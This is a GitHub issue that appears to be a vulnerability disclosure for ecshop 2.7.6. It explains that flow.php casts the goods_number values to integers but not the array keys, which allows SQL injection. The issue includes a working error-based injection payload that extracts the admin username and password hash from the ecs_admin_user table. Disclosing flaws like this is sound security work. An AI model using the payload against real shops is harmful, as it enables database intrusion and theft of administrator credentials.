Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ecshop 2.7.6 flow.php goods_number sql inject #7

Open
blindkey opened this issue Feb 18, 2020 · 0 comments
Open

ecshop 2.7.6 flow.php goods_number sql inject #7

blindkey opened this issue Feb 18, 2020 · 0 comments

Comments

@blindkey
Copy link
Owner

blindkey commented Feb 18, 2020

ecshop 2.7.6 flow.php

src:
https://github.com/shopex/ecshop/blob/master/upload/flow.php

image

flow_update_cart($_POST['goods_number']);

so :
image

use to make value as int ,but forget to do the same with key vars .. so leads to sql inject .

hackers can do this like :

goods_number[-1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,user_name,0x7c,password,0x27,0x7e)) from ecs_admin_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# and '1'='1] = value

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant